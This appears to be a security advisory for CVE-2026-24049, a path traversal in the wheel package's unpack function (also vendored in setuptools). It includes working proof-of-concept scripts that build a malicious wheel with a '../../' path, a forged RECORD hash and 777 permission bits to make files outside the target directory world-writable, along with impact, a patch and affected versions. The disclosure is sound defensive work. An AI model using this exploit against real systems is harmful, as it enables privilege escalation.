CVE-2026-24049
ADVISORY - githubSummary
Summary
- Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
- Root Cause Component: wheel.cli.unpack.unpack function.
- Affected Packages:
- wheel (Upstream source)
- setuptools (Downstream, vendors wheel)
- Severity: High (Allows modifying system file permissions).
Details
The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.
# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
wf.extract(zinfo, destination) # (1) Extraction is handled safely by zipfile
# (2) VULNERABILITY:
# The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
# If zinfo.filename contains "../", this targets files outside the destination.
permissions = zinfo.external_attr >> 16 & 0o777
destination.joinpath(zinfo.filename).chmod(permissions)
PoC
I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.
Prerequisites: pip install setuptools
Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.
import zipfile
import hashlib
import base64
import os
def urlsafe_b64encode(data):
"""
Helper function to encode data using URL-safe Base64 without padding.
Required by the Wheel file format specification.
"""
return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')
def get_hash_and_size(data_bytes):
"""
Calculates SHA-256 hash and size of the data.
These values are required to construct a valid 'RECORD' file,
which is used by the 'wheel' library to verify integrity.
"""
digest = hashlib.sha256(data_bytes).digest()
hash_str = "sha256=" + urlsafe_b64encode(digest)
return hash_str, str(len(data_bytes))
def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")
# 1. Prepare Standard Metadata Content
# These are minimal required contents to make the wheel look legitimate.
wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
# 2. Define Malicious Payload (Path Traversal)
# The content doesn't matter, but the path does.
payload_content = b"PWNED by Path Traversal"
# [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
# The vulnerability allows 'chmod' to affect this path directly.
malicious_path = "../../poc_target.txt"
# 3. Calculate Hashes for Integrity Check Bypass
# The 'wheel' library verifies if the file hash matches the RECORD entry.
# To bypass this check, we calculate the correct hash for our malicious file.
wheel_hash, wheel_size = get_hash_and_size(wheel_content)
metadata_hash, metadata_size = get_hash_and_size(metadata_content)
payload_hash, payload_size = get_hash_and_size(payload_content)
# 4. Construct the 'RECORD' File
# The RECORD file lists all files in the wheel with their hashes.
# CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
# This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
record_lines = [
f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
f"{malicious_path},{payload_hash},{payload_size}", # <-- Authenticating the malicious path
"evil-1.0.dist-info/RECORD,,"
]
record_content = "\n".join(record_lines).encode('utf-8')
# 5. Build the Zip File
with zipfile.ZipFile(filename, "w") as zf:
# Write standard metadata files
zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
zf.writestr("evil-1.0.dist-info/RECORD", record_content)
# [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
# We need to set specific permission bits to trigger the vulnerability.
zinfo = zipfile.ZipInfo(malicious_path)
# Set external attributes to 0o777 (rwxrwxrwx)
# Upper 16 bits: File type (0o100000 = Regular File)
# Lower 16 bits: Permissions (0o777 = World Writable)
# The vulnerable 'unpack' function will blindly apply this '777' to the system file.
zinfo.external_attr = (0o100000 | 0o777) << 16
zf.writestr(zinfo, payload_content)
print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")
if __name__ == "__main__":
create_evil_wheel_v4()
Step 2: Run the Exploit (exploit.py)
from pathlib import Path
import sys
# Demonstrating impact on setuptools
try:
from setuptools._vendor.wheel.cli.unpack import unpack
print("[*] Loaded unpack from setuptools")
except ImportError:
from wheel.cli.unpack import unpack
print("[*] Loaded unpack from wheel")
# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")
# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
print(f"[!] Ignored expected extraction error: {e}")
# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")
if final_perms == "777":
print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
print("[-] Attack failed.")
result:
Impact
Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.
Recommended Fix
The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().
Suggested Patch:
# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)
# Only apply chmod if a file was actually written
if extracted_path:
permissions = zinfo.external_attr >> 16 & 0o777
Path(extracted_path).chmod(permissions)
GitHub
1.8
CVSS SCORE
7.1high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| wheel | pypi | - | - | <=0.46.1 | 0.46.2 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is not bound to the network stack and the attacker's path is via read/write/execute capabilities. Either: The attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or remotely (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is no loss of confidentiality.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component.